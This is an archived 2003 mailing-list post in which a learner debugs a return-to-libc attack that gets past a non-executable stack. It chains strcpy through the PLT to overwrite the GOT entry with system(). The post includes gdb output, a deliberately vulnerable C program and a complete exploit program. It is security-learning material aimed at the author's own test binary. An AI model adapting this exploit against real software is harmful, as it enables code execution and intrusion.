Vulnerability Development mailing list archives

Defeating non-executable stacks ... trying to, actually


From: "Emilio Mira Alfaro" <emial () alumni uv es>
Date: Sun, 31 Aug 2003 15:12:53 +0200 (CEST)


Hi all,

I'm doing some practices on this issue but I'm messing around a bit. I'm
following an excellent text by Rafal Wojtczuk titled "Defeating Solar
Designer non-executable stack patch".

He explains basically two methods in order to bypass non-executable 
stacks:

1) Fill the buffer with SRTCPY | DEST | DEST | SRC

which works fine without any problems, and

2) Fill the buffer with SRTCPY | STRCPY | PLTENT-off | SRC

First, I got the PLT entry and the GOT address using:

--------------------------------------------------------------------
[emilio@vega nex_stack]$ gdb vul3
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
(gdb) disass strcpy
Dump of assembler code for function strcpy:
0x080482d0 <strcpy+0>:  jmp    *0x8049800
0x080482d6 <strcpy+6>:  push   $0x18
0x080482db <strcpy+11>: jmp    0x8048290 <_init+24>
End of assembler dump.
(gdb)  
-------------------------------------------------------------------
So, PLT = 0x080482d0 and GOT(strcpy) = 0x8049800.

The system() address is:

-------------------------------------------------------------------
[emilio@vega emilio]$  cd ELAS/src/nex_stack/
[emilio@vega nex_stack]$ vi vul3.c
[emilio@vega nex_stack]$ cat /proc/$(/sbin/pidof vul3)/maps
00110000-00125000 r-xp 00000000 03:03 930273     /lib/ld-2.3.2.so
00125000-00126000 rw-p 00014000 03:03 930273     /lib/ld-2.3.2.so
00126000-00128000 rw-p 00000000 00:00 0
00136000-00269000 r-xp 00000000 03:03 930280     /lib/libc-2.3.2.so
00269000-0026d000 rw-p 00132000 03:03 930280     /lib/libc-2.3.2.so
0026d000-0026f000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 03:05 293979     
/home/emilio/ELAS/src/nex_stack/vul3
08049000-0804a000 rw-p 00000000 03:05 293979     
/home/emilio/ELAS/src/nex_stack/vul3
bfffe000-c0000000 rwxp fffff000 00:00 0
[emilio@vega nex_stack]$ nm /lib/libc-2.3.2.so | grep system
000414b0 t do_system
00041430 T __libc_system
001053f0 T svcerr_systemerr
00041430 W system
[emilio@vega nex_stack]$
------------------------------------------------------------------

So, system = 00136000 + 00041430, if I'm not mistaken.

Then, I lauch the exploit program with offset 12 and I get:

------------------------------------------------------------------
[emilio@vega nex_stack]$ ./p3 12
Trying SRC at 0xbffffa2c
Executing vulnerable program ...
0xbffffd40> BP 0xbffffde8 - EIP 0x14b917 - DST 0x2 - DST 0xbffffe14 - SRC 
0xbffffe20
0xbffffd40> BP 0xbfffffe2 - EIP 0x80482d0 - DST 0x80482d0 - DST 0x80497f4 
- SRC 0xbfffffe2
Segmentation fault (core dumped)
-----------------------------------------------------------------

As we can see, the offset 12 is correct since on EIP, after the overflow, 
appears to be the first reference to STRCPY.

Now, let's see what went wrong:
-----------------------------------------------------------------
[emilio@vega nex_stack]$ gdb vul3 core.1968 
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
warning: core file may not match specified executable file.
Core was generated by `vul3 
PPPPPPPPPPPP��������������'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x78787878 in ?? ()
(gdb) x/8 0x080497F0
0x80497f0 <_GLOBAL_OFFSET_TABLE_+8>:    0x0011bcb0      0x3d474745      
0x706d742f      0x7878782f
0x8049800 <_GLOBAL_OFFSET_TABLE_+24>:   0x78787878      0x00177430      
0x00000000      0x00000000
(gdb)
-----------------------------------------------------------------

SYSTEM was stored on 0x8049804 insted of 0x8049800, so EIP whent where the 'xxxx' were 
stored, instead of the address of system(). I've review the exploit program and it seems to
be alright. Anyway, what I did it to decrease on 4 the address of my calculated GOT entry, 
but now:

----------------------------------------------------------------
[emilio@vega nex_stack]$ ./p3 12
Trying SRC at 0xbffffa2c
Executing vulnerable program ...
0xbfffnfd40> BP 0xbffffde8 - EIP 0x14b917 - DST 0x2 - DST 0xbffffe14 - SRC 
0xbffffe20
0xbffffd40> BP 0xbfffffe2 - EIP 0x80482d0 - DST 0x80482d0 - DST 0x80497f0 
- SRC 0xbfffffe2
Segmentation fault (core dumped)
[emilio@vega nex_stack]$ gdb vul3 core.1995 
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
warning: core file may not match specified executable file.
Core was generated by `vul3 
PPPPPPPPPPPP��������������'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x08049873 in ?? ()
(gdb) 
----------------------------------------------------------------

EIP seems to be on the GOT table, much further than strcpy() is.

Am I missing something? I'm using RH9.0. I've heard gcc > 2.96 give some 
problems with off-by-one buffer overflows since the gap between the BP 
pointer and local vars is greater, but what i'm doing doesn't have 
anything to do with that ... Maybe another modification on the GOT table 
..

Have somebody else experimented this problem?

Below, the programs i'm using to practice.

Thanks in advance,
Emilio

--------------- vulnerable program ---------------------
int main(int argc, char **argv)
{
    char d[10]="DDDD";
    char c[100]="CCCC";
    char a[10]="AAAA", b[10]="BBBB";
    char *ptr;
    int i=0;

    a[0] = a[0];
    printf("Executing vulnerable program ...\n");
    sleep(1);
    printf("0x%x> BP 0x%x - EIP 0x%x - DST 0x%x - DST 0x%x - SRC 0x%x\n", 
(int *)c, *(int *)(c+136), *(int *)(c+140), *(int *)(c+144), *(int 
*)(c+148), *(int *)(c+152) );
    strcpy(a, b);
    strcpy(c, argv[1]);
    printf("0x%x> BP 0x%x - EIP 0x%x - DST 0x%x - DST 0x%x - SRC 0x%x\n", 
(int *)c, *(int *)(c+136), *(int *)(c+140), *(int *)(c+144), *(int 
*)(c+148), *(int *)(c+152) );
    //strcpy(a, b);
    for (i=1;i!=500000000;i++);
}

--------------- exploit program ------------------------
#include <stdio.h>

#define BUFSIZE 140
#define OFFSET 850
#define EGGSIZE 100

#define STRCPY_PLT 0x080482d0
#define STRCPY_GOT 0x8049800
#define SRC 0xbfffffe2
#define SYSTEM 0x00136000 + 0x041430

char *prefix = "/tmp/xxxxxxx";

char buf[300], pattern[16], egg[EGGSIZE];

int main(int argc, char **argv)
{
    int src = (int)&src;
    int i, off = 0;
    char path[200], command[100];
    char *envs[2] = { egg, 0 };

    if (argv[1])
    {
        off = atoi(argv[1]);
    }
    printf("Trying SRC at 0x%x\n", src);

    *(int *)pattern = STRCPY_PLT;
    *(int *)(pattern + 4) = STRCPY_PLT;
    *(int *)(pattern + 8) = STRCPY_GOT - strlen(prefix);
    *(int *)(pattern + 12) = SRC;

    for (i = 0; i <= 15; i++)
        if (pattern[i] == 0)
        {
            printf("zero in pattern (%i)\n", i);
            exit(1);
        }
    if (!(SYSTEM & 0x00ff0000) || !(SYSTEM & 0x0000ff00) || !(SYSTEM & 
0x000000ff))
    {
        printf("zero in system\n");
        exit(1);
    }

    memset(buf, 0x50, sizeof(buf) );
    for (i = 0 + off; i < sizeof(buf); i+=16)
        memcpy((void *)(buf + i), (void *)pattern, sizeof(pattern) );
    buf[sizeof(buf) - 1] = '\0';

    strcpy(path, prefix);
    *(int *)(path + strlen(path) ) = SYSTEM;

    sprintf(egg, "EGG=%s", path);
    sprintf(command, "cp /tmp/qq %s", path);
    system(command);
    execle("./qwe", "vul3", buf, 0, envs);
    perror("execl");

}


-- 
Emilio Mira
e-mail: emial () alumni uv es
------------------------------------------------------
"Sure UNIX is user friendly; it's just picky about who
its friends are."
------------------------------------------------------






Current thread: